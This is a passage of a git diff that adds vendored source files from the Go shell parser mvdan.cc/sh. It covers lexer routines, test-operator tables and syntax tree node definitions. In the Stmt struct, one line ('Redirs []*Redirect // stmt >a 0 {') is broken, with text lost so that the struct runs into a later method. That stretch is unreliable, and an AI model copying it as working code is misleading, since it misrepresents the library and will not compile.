+ p.rune()
+ return addAdd
+ case '=':
+ p.rune()
+ return addAssgn
+ }
+ return plus
+ case '-':
+ switch p.rune() {
+ case '-':
+ p.rune()
+ return subSub
+ case '=':
+ p.rune()
+ return subAssgn
+ }
+ return minus
+ case '%':
+ if p.rune() == '=' {
+ p.rune()
+ return remAssgn
+ }
+ return perc
+ case '*':
+ switch p.rune() {
+ case '*':
+ p.rune()
+ return power
+ case '=':
+ p.rune()
+ return mulAssgn
+ }
+ return star
+ case '/':
+ if p.rune() == '=' {
+ p.rune()
+ return quoAssgn
+ }
+ return slash
+ case '^':
+ if p.rune() == '=' {
+ p.rune()
+ return xorAssgn
+ }
+ return caret
+ case '[':
+ p.rune()
+ return leftBrack
+ case ']':
+ p.rune()
+ return rightBrack
+ case ',':
+ p.rune()
+ return comma
+ case '?':
+ p.rune()
+ return quest
+ case ':':
+ p.rune()
+ return colon
+ default: // '#'
+ p.rune()
+ return hash
+ }
+}
+
+func (p *Parser) newLit(r rune) {
+ switch {
+ case r < utf8.RuneSelf:
+ p.litBs = p.litBuf[:1]
+ p.litBs[0] = byte(r)
+ case r > escNewl:
+ w := utf8.RuneLen(r)
+ p.litBs = append(p.litBuf[:0], p.bs[p.bsp-w:p.bsp]...)
+ default:
+ // don't let r == utf8.RuneSelf go to the second case as RuneLen
+ // would return -1
+ p.litBs = p.litBuf[:0]
+ }
+}
+
+func (p *Parser) endLit() (s string) {
+ if p.r == utf8.RuneSelf || p.r == escNewl {
+ s = string(p.litBs)
+ } else {
+ s = string(p.litBs[:len(p.litBs)-p.w])
+ }
+ p.litBs = nil
+ return
+}
+
+func (p *Parser) isLitRedir() bool {
+ lit := p.litBs[:len(p.litBs)-1]
+ if lit[0] == '{' && lit[len(lit)-1] == '}' {
+ return ValidName(string(lit[1 : len(lit)-1]))
+ }
+ for _, b := range lit {
+ switch b {
+ case '0', '1', '2', '3', '4', '5', '6', '7', '8', '9':
+ default:
+ return false
+ }
+ }
+ return true
+}
+
+func (p *Parser) advanceNameCont(r rune) {
+ // we know that r is a letter or underscore
+loop:
+ for p.newLit(r); r != utf8.RuneSelf; r = p.rune() {
+ switch {
+ case 'a' <= r && r <= 'z':
+ case 'A' <= r && r <= 'Z':
+ case r == '_':
+ case '0' <= r && r <= '9':
+ case r == escNewl:
+ default:
+ break loop
+ }
+ }
+ p.tok, p.val = _LitWord, p.endLit()
+}
+
+func (p *Parser) advanceLitOther(r rune) {
+ tok := _LitWord
+loop:
+ for p.newLit(r); r != utf8.RuneSelf; r = p.rune() {
+ switch r {
+ case '\\': // escaped byte follows
+ p.rune()
+ case '\'', '"', '`', '$':
+ tok = _Lit
+ break loop
+ case '}':
+ if p.quote&allParamExp != 0 {
+ break loop
+ }
+ case '/':
+ if p.quote != paramExpExp {
+ break loop
+ }
+ case ':', '=', '%', '^', ',', '?', '!', '~', '*':
+ if p.quote&allArithmExpr != 0 || p.quote == paramExpName {
+ break loop
+ }
+ case '[', ']':
+ if p.lang != LangPOSIX && p.quote&allArithmExpr != 0 {
+ break loop
+ }
+ fallthrough
+ case '#', '@':
+ if p.quote&allParamReg != 0 {
+ break loop
+ }
+ case '+', '-', ' ', '\t', ';', '&', '>', '<', '|', '(', ')', '\n', '\r':
+ if p.quote&allKeepSpaces == 0 {
+ break loop
+ }
+ }
+ }
+ p.tok, p.val = tok, p.endLit()
+}
+
+func (p *Parser) advanceLitNone(r rune) {
+ p.eqlOffs = -1
+ tok := _LitWord
+loop:
+ for p.newLit(r); r != utf8.RuneSelf; r = p.rune() {
+ switch r {
+ case ' ', '\t', '\n', '\r', '&', '|', ';', '(', ')':
+ break loop
+ case '\\': // escaped byte follows
+ p.rune()
+ case '>', '<':
+ if p.peekByte('(') {
+ tok = _Lit
+ } else if p.isLitRedir() {
+ tok = _LitRedir
+ }
+ break loop
+ case '`':
+ if p.quote != subCmdBckquo {
+ tok = _Lit
+ }
+ break loop
+ case '"', '\'', '$':
+ tok = _Lit
+ break loop
+ case '?', '*', '+', '@', '!':
+ if p.extendedGlob() {
+ tok = _Lit
+ break loop
+ }
+ case '=':
+ if p.eqlOffs < 0 {
+ p.eqlOffs = len(p.litBs) - 1
+ }
+ case '[':
+ if p.lang != LangPOSIX && len(p.litBs) > 1 && p.litBs[0] != '[' {
+ tok = _Lit
+ break loop
+ }
+ }
+ }
+ p.tok, p.val = tok, p.endLit()
+}
+
+func (p *Parser) advanceLitDquote(r rune) {
+ tok := _LitWord
+loop:
+ for p.newLit(r); r != utf8.RuneSelf; r = p.rune() {
+ switch r {
+ case '"':
+ break loop
+ case '\\': // escaped byte follows
+ p.rune()
+ case escNewl, '`', '$':
+ tok = _Lit
+ break loop
+ }
+ }
+ p.tok, p.val = tok, p.endLit()
+}
+
+func (p *Parser) advanceLitHdoc(r rune) {
+ // Unlike the rest of nextKeepSpaces quote states, we handle escaped
+ // newlines here. If lastTok==_Lit, then we know we're following an
+ // escaped newline, so the first line can't end the heredoc.
+ lastTok := p.tok
+ for r == escNewl {
+ r = p.rune()
+ lastTok = _Lit
+ }
+ p.pos = p.nextPos()
+
+ p.tok = _Lit
+ p.newLit(r)
+ if p.quote == hdocBodyTabs {
+ for r == '\t' {
+ r = p.rune()
+ }
+ }
+ lStart := len(p.litBs) - 1
+ stop := p.hdocStops[len(p.hdocStops)-1]
+ for ; ; r = p.rune() {
+ switch r {
+ case escNewl, '$':
+ p.val = p.endLit()
+ return
+ case '\\': // escaped byte follows
+ p.rune()
+ case '`':
+ if !p.backquoteEnd() {
+ p.val = p.endLit()
+ return
+ }
+ fallthrough
+ case '\n', utf8.RuneSelf:
+ if p.parsingDoc {
+ if r == utf8.RuneSelf {
+ p.tok = _LitWord
+ p.val = p.endLit()
+ return
+ }
+ } else if lStart == 0 && lastTok == _Lit {
+ // This line starts right after an escaped
+ // newline, so it should never end the heredoc.
+ } else if lStart >= 0 {
+ // Compare the current line with the stop word.
+ line := p.litBs[lStart:]
+ if r != utf8.RuneSelf && len(line) > 0 {
+ line = line[:len(line)-1] // minus trailing character
+ }
+ if bytes.Equal(line, stop) {
+ p.tok = _LitWord
+ p.val = p.endLit()[:lStart]
+ if p.val == "" {
+ p.tok = _Newl
+ }
+ p.hdocStops[len(p.hdocStops)-1] = nil
+ return
+ }
+ }
+ if r != '\n' {
+ return // hit an unexpected EOF or closing backquote
+ }
+ if p.quote == hdocBodyTabs {
+ for p.peekByte('\t') {
+ p.rune()
+ }
+ }
+ lStart = len(p.litBs)
+ }
+ }
+}
+
+func (p *Parser) quotedHdocWord() *Word {
+ r := p.r
+ p.newLit(r)
+ pos := p.nextPos()
+ stop := p.hdocStops[len(p.hdocStops)-1]
+ for ; ; r = p.rune() {
+ if r == utf8.RuneSelf {
+ return nil
+ }
+ if p.quote == hdocBodyTabs {
+ for r == '\t' {
+ r = p.rune()
+ }
+ }
+ lStart := len(p.litBs) - 1
+ runeLoop:
+ for {
+ switch r {
+ case utf8.RuneSelf, '\n':
+ break runeLoop
+ case '`':
+ if p.backquoteEnd() {
+ break runeLoop
+ }
+ case escNewl:
+ p.litBs = append(p.litBs, '\\', '\n')
+ break runeLoop
+ }
+ r = p.rune()
+ }
+ if lStart < 0 {
+ continue
+ }
+ // Compare the current line with the stop word.
+ line := p.litBs[lStart:]
+ if r != utf8.RuneSelf && len(line) > 0 {
+ line = line[:len(line)-1] // minus \n
+ }
+ if bytes.Equal(line, stop) {
+ p.hdocStops[len(p.hdocStops)-1] = nil
+ val := p.endLit()[:lStart]
+ if val == "" {
+ return nil
+ }
+ return p.wordOne(p.lit(pos, val))
+ }
+ }
+}
+
+func (p *Parser) advanceLitRe(r rune) {
+ for p.newLit(r); ; r = p.rune() {
+ switch r {
+ case '\\':
+ p.rune()
+ case '(':
+ p.rxOpenParens++
+ case ')':
+ if p.rxOpenParens--; p.rxOpenParens < 0 {
+ p.tok, p.val = _LitWord, p.endLit()
+ p.quote = noState
+ return
+ }
+ case ' ', '\t', '\r', '\n', ';', '&', '>', '<':
+ if p.rxOpenParens <= 0 {
+ p.tok, p.val = _LitWord, p.endLit()
+ p.quote = noState
+ return
+ }
+ case '"', '\'', '$', '`':
+ p.tok, p.val = _Lit, p.endLit()
+ return
+ case utf8.RuneSelf:
+ p.tok, p.val = _LitWord, p.endLit()
+ p.quote = noState
+ return
+ }
+ }
+}
+
+func testUnaryOp(val string) UnTestOperator {
+ switch val {
+ case "!":
+ return TsNot
+ case "-e", "-a":
+ return TsExists
+ case "-f":
+ return TsRegFile
+ case "-d":
+ return TsDirect
+ case "-c":
+ return TsCharSp
+ case "-b":
+ return TsBlckSp
+ case "-p":
+ return TsNmPipe
+ case "-S":
+ return TsSocket
+ case "-L", "-h":
+ return TsSmbLink
+ case "-k":
+ return TsSticky
+ case "-g":
+ return TsGIDSet
+ case "-u":
+ return TsUIDSet
+ case "-G":
+ return TsGrpOwn
+ case "-O":
+ return TsUsrOwn
+ case "-N":
+ return TsModif
+ case "-r":
+ return TsRead
+ case "-w":
+ return TsWrite
+ case "-x":
+ return TsExec
+ case "-s":
+ return TsNoEmpty
+ case "-t":
+ return TsFdTerm
+ case "-z":
+ return TsEmpStr
+ case "-n":
+ return TsNempStr
+ case "-o":
+ return TsOptSet
+ case "-v":
+ return TsVarSet
+ case "-R":
+ return TsRefVar
+ default:
+ return 0
+ }
+}
+
+func testBinaryOp(val string) BinTestOperator {
+ switch val {
+ case "=":
+ return TsMatchShort
+ case "==":
+ return TsMatch
+ case "!=":
+ return TsNoMatch
+ case "=~":
+ return TsReMatch
+ case "-nt":
+ return TsNewer
+ case "-ot":
+ return TsOlder
+ case "-ef":
+ return TsDevIno
+ case "-eq":
+ return TsEql
+ case "-ne":
+ return TsNeq
+ case "-le":
+ return TsLeq
+ case "-ge":
+ return TsGeq
+ case "-lt":
+ return TsLss
+ case "-gt":
+ return TsGtr
+ default:
+ return 0
+ }
+}
diff --git a/vendor/mvdan.cc/sh/v3/syntax/nodes.go b/vendor/mvdan.cc/sh/v3/syntax/nodes.go
new file mode 100644
index 0000000000..88eb7feab5
--- /dev/null
+++ b/vendor/mvdan.cc/sh/v3/syntax/nodes.go
@@ -0,0 +1,953 @@
+// Copyright (c) 2016, Daniel Martí
+// See LICENSE for licensing information
+
+package syntax
+
+import (
+ "strconv"
+ "strings"
+)
+
+// Node represents a syntax tree node.
+type Node interface {
+ // Pos returns the position of the first character of the node. Comments
+ // are ignored, except if the node is a *File.
+ Pos() Pos
+ // End returns the position of the character immediately after the node.
+ // If the character is a newline, the line number won't cross into the
+ // next line. Comments are ignored, except if the node is a *File.
+ End() Pos
+}
+
+// File represents a shell source file.
+type File struct {
+ Name string
+
+ Stmts []*Stmt
+ Last []Comment
+}
+
+func (f *File) Pos() Pos { return stmtsPos(f.Stmts, f.Last) }
+func (f *File) End() Pos { return stmtsEnd(f.Stmts, f.Last) }
+
+func stmtsPos(stmts []*Stmt, last []Comment) Pos {
+ if len(stmts) > 0 {
+ s := stmts[0]
+ sPos := s.Pos()
+ if len(s.Comments) > 0 {
+ if cPos := s.Comments[0].Pos(); sPos.After(cPos) {
+ return cPos
+ }
+ }
+ return sPos
+ }
+ if len(last) > 0 {
+ return last[0].Pos()
+ }
+ return Pos{}
+}
+
+func stmtsEnd(stmts []*Stmt, last []Comment) Pos {
+ if len(last) > 0 {
+ return last[len(last)-1].End()
+ }
+ if len(stmts) > 0 {
+ s := stmts[len(stmts)-1]
+ sEnd := s.End()
+ if len(s.Comments) > 0 {
+ if cEnd := s.Comments[0].End(); cEnd.After(sEnd) {
+ return cEnd
+ }
+ }
+ return sEnd
+ }
+ return Pos{}
+}
+
+// Pos is a position within a shell source file.
+type Pos struct {
+ offs, lineCol uint32
+}
+
+// We used to split line and column numbers evenly in 16 bits, but line numbers
+// are significantly more important in practice. Use more bits for them.
+const (
+ lineBitSize = 18
+ lineMax = (1 << lineBitSize) - 1
+
+ colBitSize = 32 - lineBitSize
+ colMax = (1 << colBitSize) - 1
+ colBitMask = colMax
+)
+
+// TODO(v4): consider using uint32 for Offset/Line/Col to better represent bit sizes.
+// Or go with int64, which more closely resembles portable "sizes" elsewhere.
+// The latter is probably nicest, as then we can change the number of internal
+// bits later, and we can also do overflow checks for the user in NewPos.
+
+// NewPos creates a position with the given offset, line, and column.
+//
+// Note that Pos uses a limited number of bits to store these numbers.
+// If line or column overflow their allocated space, they are replaced with 0.
+func NewPos(offset, line, column uint) Pos {
+ if line > lineMax {
+ line = 0 // protect against overflows; rendered as "?"
+ }
+ if column > colMax {
+ column = 0 // protect against overflows; rendered as "?"
+ }
+ return Pos{
+ offs: uint32(offset),
+ lineCol: (uint32(line) << colBitSize) | uint32(column),
+ }
+}
+
+// Offset returns the byte offset of the position in the original source file.
+// Byte offsets start at 0.
+//
+// Note that Offset is not protected against overflows;
+// if an input is larger than 4GiB, the offset will wrap around to 0.
+func (p Pos) Offset() uint { return uint(p.offs) }
+
+// Line returns the line number of the position, starting at 1.
+//
+// Line is protected against overflows; if an input has too many lines, extra
+// lines will have a line number of 0, rendered as "?" by [Pos.String].
+func (p Pos) Line() uint { return uint(p.lineCol >> colBitSize) }
+
+// Col returns the column number of the position, starting at 1. It counts in
+// bytes.
+//
+// Col is protected against overflows; if an input line has too many columns,
+// extra columns will have a column number of 0, rendered as "?" by [Pos.String].
+func (p Pos) Col() uint { return uint(p.lineCol & colBitMask) }
+
+func (p Pos) String() string {
+ var b strings.Builder
+ if line := p.Line(); line > 0 {
+ b.WriteString(strconv.FormatUint(uint64(line), 10))
+ } else {
+ b.WriteByte('?')
+ }
+ b.WriteByte(':')
+ if col := p.Col(); col > 0 {
+ b.WriteString(strconv.FormatUint(uint64(col), 10))
+ } else {
+ b.WriteByte('?')
+ }
+ return b.String()
+}
+
+// IsValid reports whether the position contains useful position information.
+// Some positions returned via [Parse] may be invalid: for example, [Stmt.Semicolon]
+// will only be valid if a statement contained a closing token such as ';'.
+func (p Pos) IsValid() bool { return p != Pos{} }
+
+// After reports whether the position p is after p2. It is a more expressive
+// version of p.Offset() > p2.Offset().
+func (p Pos) After(p2 Pos) bool { return p.offs > p2.offs }
+
+func posAddCol(p Pos, n int) Pos {
+ // TODO: guard against overflows
+ p.lineCol += uint32(n)
+ p.offs += uint32(n)
+ return p
+}
+
+func posMax(p1, p2 Pos) Pos {
+ if p2.After(p1) {
+ return p2
+ }
+ return p1
+}
+
+// Comment represents a single comment on a single line.
+type Comment struct {
+ Hash Pos
+ Text string
+}
+
+func (c *Comment) Pos() Pos { return c.Hash }
+func (c *Comment) End() Pos { return posAddCol(c.Hash, 1+len(c.Text)) }
+
+// Stmt represents a statement, also known as a "complete command". It is
+// compromised of a command and other components that may come before or after
+// it.
+type Stmt struct {
+ Comments []Comment
+ Cmd Command
+ Position Pos
+ Semicolon Pos // position of ';', '&', or '|&', if any
+ Negated bool // ! stmt
+ Background bool // stmt &
+ Coprocess bool // mksh's |&
+
+ Redirs []*Redirect // stmt >a 0 {
+ end = posMax(end, s.Redirs[len(s.Redirs)-1].End())
+ }
+ return end
+}
+
+// Command represents all nodes that are simple or compound commands, including
+// function declarations.
+//
+// These are *CallExpr, *IfClause, *WhileClause, *ForClause, *CaseClause,
+// *Block, *Subshell, *BinaryCmd, *FuncDecl, *ArithmCmd, *TestClause,
+// *DeclClause, *LetClause, *TimeClause, and *CoprocClause.
+type Command interface {
+ Node
+ commandNode()
+}
+
+func (*CallExpr) commandNode() {}
+func (*IfClause) commandNode() {}
+func (*WhileClause) commandNode() {}
+func (*ForClause) commandNode() {}
+func (*CaseClause) commandNode() {}
+func (*Block) commandNode() {}
+func (*Subshell) commandNode() {}
+func (*BinaryCmd) commandNode() {}
+func (*FuncDecl) commandNode() {}
+func (*ArithmCmd) commandNode() {}
+func (*TestClause) commandNode() {}
+func (*DeclClause) commandNode() {}
+func (*LetClause) commandNode() {}
+func (*TimeClause) commandNode() {}
+func (*CoprocClause) commandNode() {}
+func (*TestDecl) commandNode() {}
+
+// Assign represents an assignment to a variable.
+//
+// Here and elsewhere, Index can mean either an index expression into an indexed
+// array, or a string key into an associative array.
+//
+// If Index is non-nil, the value will be a word and not an array as nested
+// arrays are not allowed.
+//
+// If Naked is true and Name is nil, the assignment is part of a DeclClause and
+// the argument (in the Value field) will be evaluated at run-time. This
+// includes parameter expansions, which may expand to assignments or options.
+type Assign struct {
+ Append bool // +=
+ Naked bool // without '='
+ Name *Lit // must be a valid name
+ Index ArithmExpr // [i], ["k"]
+ Value *Word // =val
+ Array *ArrayExpr // =(arr)
+}
+
+func (a *Assign) Pos() Pos {
+ if a.Name == nil {
+ return a.Value.Pos()
+ }
+ return a.Name.Pos()
+}
+
+func (a *Assign) End() Pos {
+ if a.Value != nil {
+ return a.Value.End()
+ }
+ if a.Array != nil {
+ return a.Array.End()
+ }
+ if a.Index != nil {
+ return posAddCol(a.Index.End(), 2)
+ }
+ if a.Naked {
+ return a.Name.End()
+ }
+ return posAddCol(a.Name.End(), 1)
+}
+
+// Redirect represents an input/output redirection.
+type Redirect struct {
+ OpPos Pos
+ Op RedirOperator
+ N *Lit // fd>, or {varname}> in Bash
+ Word *Word // >word
+ Hdoc *Word // here-document body
+}
+
+func (r *Redirect) Pos() Pos {
+ if r.N != nil {
+ return r.N.Pos()
+ }
+ return r.OpPos
+}
+
+func (r *Redirect) End() Pos {
+ if r.Hdoc != nil {
+ return r.Hdoc.End()
+ }
+ return r.Word.End()
+}
+
+// CallExpr represents a command execution or function call, otherwise known as
+// a "simple command".
+//
+// If Args is empty, Assigns apply to the shell environment. Otherwise, they are
+// variables that cannot be arrays and which only apply to the call.
+type CallExpr struct {
+ Assigns []*Assign // a=x b=y args
+ Args []*Word
+}
+
+func (c *CallExpr) Pos() Pos {
+ if len(c.Assigns) > 0 {
+ return c.Assigns[0].Pos()
+ }
+ return c.Args[0].Pos()
+}
+
+func (c *CallExpr) End() Pos {
+ if len(c.Args) == 0 {
+ return c.Assigns[len(c.Assigns)-1].End()
+ }
+ return c.Args[len(c.Args)-1].End()
+}
+
+// Subshell represents a series of commands that should be executed in a nested
+// shell environment.
+type Subshell struct {
+ Lparen, Rparen Pos
+
+ Stmts []*Stmt
+ Last []Comment
+}
+
+func (s *Subshell) Pos() Pos { return s.Lparen }
+func (s *Subshell) End() Pos { return posAddCol(s.Rparen, 1) }
+
+// Block represents a series of commands that should be executed in a nested
+// scope. It is essentially a list of statements within curly braces.
+type Block struct {
+ Lbrace, Rbrace Pos
+
+ Stmts []*Stmt
+ Last []Comment
+}
+
+func (b *Block) Pos() Pos { return b.Lbrace }
+func (b *Block) End() Pos { return posAddCol(b.Rbrace, 1) }
+
+// IfClause represents an if statement.
+type IfClause struct {
+ Position Pos // position of the starting "if", "elif", or "else" token
+ ThenPos Pos // position of "then", empty if this is an "else"
+ FiPos Pos // position of "fi", shared with .Else if non-nil
+
+ Cond []*Stmt
+ CondLast []Comment
+ Then []*Stmt
+ ThenLast []Comment
+
+ Else *IfClause // if non-nil, an "elif" or an "else"
+
+ Last []Comment // comments on the first "elif", "else", or "fi"
+}
+
+func (c *IfClause) Pos() Pos { return c.Position }
+func (c *IfClause) End() Pos { return posAddCol(c.FiPos, 2) }
+
+// WhileClause represents a while or an until clause.
+type WhileClause struct {
+ WhilePos, DoPos, DonePos Pos
+ Until bool
+
+ Cond []*Stmt
+ CondLast []Comment
+ Do []*Stmt
+ DoLast []Comment
+}
+
+func (w *WhileClause) Pos() Pos { return w.WhilePos }
+func (w *WhileClause) End() Pos { return posAddCol(w.DonePos, 4) }
+
+// ForClause represents a for or a select clause. The latter is only present in
+// Bash.
+type ForClause struct {
+ ForPos, DoPos, DonePos Pos
+ Select bool
+ Braces bool // deprecated form with { } instead of do/done
+ Loop Loop
+
+ Do []*Stmt
+ DoLast []Comment
+}
+
+func (f *ForClause) Pos() Pos { return f.ForPos }
+func (f *ForClause) End() Pos { return posAddCol(f.DonePos, 4) }
+
+// Loop holds either *WordIter or *CStyleLoop.
+type Loop interface {
+ Node
+ loopNode()
+}
+
+func (*WordIter) loopNode() {}
+func (*CStyleLoop) loopNode() {}
+
+// WordIter represents the iteration of a variable over a series of words in a
+// for clause. If InPos is an invalid position, the "in" token was missing, so
+// the iteration is over the shell's positional parameters.
+type WordIter struct {
+ Name *Lit
+ InPos Pos // position of "in"
+ Items []*Word
+}
+
+func (w *WordIter) Pos() Pos { return w.Name.Pos() }
+func (w *WordIter) End() Pos {
+ if len(w.Items) > 0 {
+ return wordLastEnd(w.Items)
+ }
+ return posMax(w.Name.End(), posAddCol(w.InPos, 2))
+}
+
+// CStyleLoop represents the behavior of a for clause similar to the C
+// language.
+//
+// This node will only appear with LangBash.
+type CStyleLoop struct {
+ Lparen, Rparen Pos
+ // Init, Cond, Post can each be nil, if the for loop construct omits it.
+ Init, Cond, Post ArithmExpr
+}
+
+func (c *CStyleLoop) Pos() Pos { return c.Lparen }
+func (c *CStyleLoop) End() Pos { return posAddCol(c.Rparen, 2) }
+
+// BinaryCmd represents a binary expression between two statements.
+type BinaryCmd struct {
+ OpPos Pos
+ Op BinCmdOperator
+ X, Y *Stmt
+}
+
+func (b *BinaryCmd) Pos() Pos { return b.X.Pos() }
+func (b *BinaryCmd) End() Pos { return b.Y.End() }
+
+// FuncDecl represents the declaration of a function.
+type FuncDecl struct {
+ Position Pos
+ RsrvWord bool // non-posix "function f" style
+ Parens bool // with () parentheses, only meaningful with RsrvWord=true
+ Name *Lit
+ Body *Stmt
+}
+
+func (f *FuncDecl) Pos() Pos { return f.Position }
+func (f *FuncDecl) End() Pos { return f.Body.End() }
+
+// Word represents a shell word, containing one or more word parts contiguous to
+// each other. The word is delimited by word boundaries, such as spaces,
+// newlines, semicolons, or parentheses.
+type Word struct {
+ Parts []WordPart
+}
+
+func (w *Word) Pos() Pos { return w.Parts[0].Pos() }
+func (w *Word) End() Pos { return w.Parts[len(w.Parts)-1].End() }
+
+// Lit returns the word as a literal value, if the word consists of *Lit nodes
+// only. An empty string is returned otherwise. Words with multiple literals,
+// which can appear in some edge cases, are handled properly.
+//
+// For example, the word "foo" will return "foo", but the word "foo${bar}" will
+// return "".
+func (w *Word) Lit() string {
+ // In the usual case, we'll have either a single part that's a literal,
+ // or one of the parts being a non-literal. Using strings.Join instead
+ // of a strings.Builder avoids extra work in these cases, since a single
+ // part is a shortcut, and many parts don't incur string copies.
+ lits := make([]string, 0, 1)
+ for _, part := range w.Parts {
+ lit, ok := part.(*Lit)
+ if !ok {
+ return ""
+ }
+ lits = append(lits, lit.Value)
+ }
+ return strings.Join(lits, "")
+}
+
+// WordPart represents all nodes that can form part of a word.
+//
+// These are *Lit, *SglQuoted, *DblQuoted, *ParamExp, *CmdSubst, *ArithmExp,
+// *ProcSubst, and *ExtGlob.
+type WordPart interface {
+ Node
+ wordPartNode()
+}
+
+func (*Lit) wordPartNode() {}
+func (*SglQuoted) wordPartNode() {}
+func (*DblQuoted) wordPartNode() {}
+func (*ParamExp) wordPartNode() {}
+func (*CmdSubst) wordPartNode() {}
+func (*ArithmExp) wordPartNode() {}
+func (*ProcSubst) wordPartNode() {}
+func (*ExtGlob) wordPartNode() {}
+func (*BraceExp) wordPartNode() {}
+
+// Lit represents a string literal.
+//
+// Note that a parsed string literal may not appear as-is in the original source
+// code, as it is possible to split literals by escaping newlines. The splitting
+// is lost, but the end position is not.
+type Lit struct {
+ ValuePos, ValueEnd Pos
+ Value string
+}
+
+func (l *Lit) Pos() Pos { return l.ValuePos }
+func (l *Lit) End() Pos { return l.ValueEnd }
+
+// SglQuoted represents a string within single quotes.
+type SglQuoted struct {
+ Left, Right Pos
+ Dollar bool // $''
+ Value string
+}
+
+func (q *SglQuoted) Pos() Pos { return q.Left }
+func (q *SglQuoted) End() Pos { return posAddCol(q.Right, 1) }
+
+// DblQuoted represents a list of nodes within double quotes.
+type DblQuoted struct {
+ Left, Right Pos
+ Dollar bool // $""
+ Parts []WordPart
+}
+
+func (q *DblQuoted) Pos() Pos { return q.Left }
+func (q *DblQuoted) End() Pos { return posAddCol(q.Right, 1) }
+
+// CmdSubst represents a command substitution.
+type CmdSubst struct {
+ Left, Right Pos
+
+ Stmts []*Stmt
+ Last []Comment
+
+ Backquotes bool // deprecated `foo`
+ TempFile bool // mksh's ${ foo;}
+ ReplyVar bool // mksh's ${|foo;}
+}
+
+func (c *CmdSubst) Pos() Pos { return c.Left }
+func (c *CmdSubst) End() Pos { return posAddCol(c.Right, 1) }
+
+// ParamExp represents a parameter expansion.
+type ParamExp struct {
+ Dollar, Rbrace Pos
+
+ Short bool // $a instead of ${a}
+ Excl bool // ${!a}
+ Length bool // ${#a}
+ Width bool // ${%a}
+ Param *Lit
+ Index ArithmExpr // ${a[i]}, ${a["k"]}
+ Slice *Slice // ${a:x:y}
+ Repl *Replace // ${a/x/y}
+ Names ParNamesOperator // ${!prefix*} or ${!prefix@}
+ Exp *Expansion // ${a:-b}, ${a#b}, etc
+}
+
+func (p *ParamExp) Pos() Pos { return p.Dollar }
+func (p *ParamExp) End() Pos {
+ if !p.Short {
+ return posAddCol(p.Rbrace, 1)
+ }
+ if p.Index != nil {
+ return posAddCol(p.Index.End(), 1)
+ }
+ return p.Param.End()
+}
+
+func (p *ParamExp) nakedIndex() bool {
+ return p.Short && p.Index != nil
+}
+
+// Slice represents a character slicing expression inside a ParamExp.
+//
+// This node will only appear in LangBash and LangMirBSDKorn.
+type Slice struct {
+ Offset, Length ArithmExpr
+}
+
+// Replace represents a search and replace expression inside a ParamExp.
+type Replace struct {
+ All bool
+ Orig, With *Word
+}
+
+// Expansion represents string manipulation in a ParamExp other than those
+// covered by Replace.
+type Expansion struct {
+ Op ParExpOperator
+ Word *Word
+}
+
+// ArithmExp represents an arithmetic expansion.
+type ArithmExp struct {
+ Left, Right Pos
+ Bracket bool // deprecated $[expr] form
+ Unsigned bool // mksh's $((# expr))
+
+ X ArithmExpr
+}
+
+func (a *ArithmExp) Pos() Pos { return a.Left }
+func (a *ArithmExp) End() Pos {
+ if a.Bracket {
+ return posAddCol(a.Right, 1)
+ }
+ return posAddCol(a.Right, 2)
+}
+
+// ArithmCmd represents an arithmetic command.
+//
+// This node will only appear in LangBash and LangMirBSDKorn.
+type ArithmCmd struct {
+ Left, Right Pos
+ Unsigned bool // mksh's ((# expr))
+
+ X ArithmExpr
+}
+
+func (a *ArithmCmd) Pos() Pos { return a.Left }
+func (a *ArithmCmd) End() Pos { return posAddCol(a.Right, 2) }
+
+// ArithmExpr represents all nodes that form arithmetic expressions.
+//
+// These are *BinaryArithm, *UnaryArithm, *ParenArithm, and *Word.
+type ArithmExpr interface {
+ Node
+ arithmExprNode()
+}
+
+func (*BinaryArithm) arithmExprNode() {}
+func (*UnaryArithm) arithmExprNode() {}
+func (*ParenArithm) arithmExprNode() {}
+func (*Word) arithmExprNode() {}
+
+// BinaryArithm represents a binary arithmetic expression.
+//
+// If Op is any assign operator, X will be a word with a single *Lit whose value
+// is a valid name.
+//
+// Ternary operators like "a ? b : c" are fit into this structure. Thus, if
+// Op==TernQuest, Y will be a *BinaryArithm with Op==TernColon. Op can only be
+// TernColon in that scenario.
+type BinaryArithm struct {
+ OpPos Pos
+ Op BinAritOperator
+ X, Y ArithmExpr
+}
+
+func (b *BinaryArithm) Pos() Pos { return b.X.Pos() }
+func (b *BinaryArithm) End() Pos { return b.Y.End() }
+
+// UnaryArithm represents an unary arithmetic expression. The unary operator
+// may come before or after the sub-expression.
+//
+// If Op is Inc or Dec, X will be a word with a single *Lit whose value is a
+// valid name.
+type UnaryArithm struct {
+ OpPos Pos
+ Op UnAritOperator
+ Post bool
+ X ArithmExpr
+}
+
+func (u *UnaryArithm) Pos() Pos {
+ if u.Post {
+ return u.X.Pos()
+ }
+ return u.OpPos
+}
+
+func (u *UnaryArithm) End() Pos {
+ if u.Post {
+ return posAddCol(u.OpPos, 2)
+ }
+ return u.X.End()
+}
+
+// ParenArithm represents an arithmetic expression within parentheses.
+type ParenArithm struct {
+ Lparen, Rparen Pos
+
+ X ArithmExpr
+}
+
+func (p *ParenArithm) Pos() Pos { return p.Lparen }
+func (p *ParenArithm) End() Pos { return posAddCol(p.Rparen, 1) }
+
+// CaseClause represents a case (switch) clause.
+type CaseClause struct {
+ Case, In, Esac Pos
+ Braces bool // deprecated mksh form with braces instead of in/esac
+
+ Word *Word
+ Items []*CaseItem
+ Last []Comment
+}
+
+func (c *CaseClause) Pos() Pos { return c.Case }
+func (c *CaseClause) End() Pos { return posAddCol(c.Esac, 4) }
+
+// CaseItem represents a pattern list (case) within a CaseClause.
+type CaseItem struct {
+ Op CaseOperator
+ OpPos Pos // unset if it was finished by "esac"
+ Comments []Comment
+ Patterns []*Word
+
+ Stmts []*Stmt
+ Last []Comment
+}
+
+func (c *CaseItem) Pos() Pos { return c.Patterns[0].Pos() }
+func (c *CaseItem) End() Pos {
+ if c.OpPos.IsValid() {
+ return posAddCol(c.OpPos, len(c.Op.String()))
+ }
+ return stmtsEnd(c.Stmts, c.Last)
+}
+
+// TestClause represents a Bash extended test clause.
+//
+// This node will only appear in LangBash and LangMirBSDKorn.
+type TestClause struct {
+ Left, Right Pos
+
+ X TestExpr
+}
+
+func (t *TestClause) Pos() Pos { return t.Left }
+func (t *TestClause) End() Pos { return posAddCol(t.Right, 2) }
+
+// TestExpr represents all nodes that form test expressions.
+//
+// These are *BinaryTest, *UnaryTest, *ParenTest, and *Word.
+type TestExpr interface {
+ Node
+ testExprNode()
+}
+
+func (*BinaryTest) testExprNode() {}
+func (*UnaryTest) testExprNode() {}
+func (*ParenTest) testExprNode() {}
+func (*Word) testExprNode() {}
+
+// BinaryTest represents a binary test expression.
+type BinaryTest struct {
+ OpPos Pos
+ Op BinTestOperator
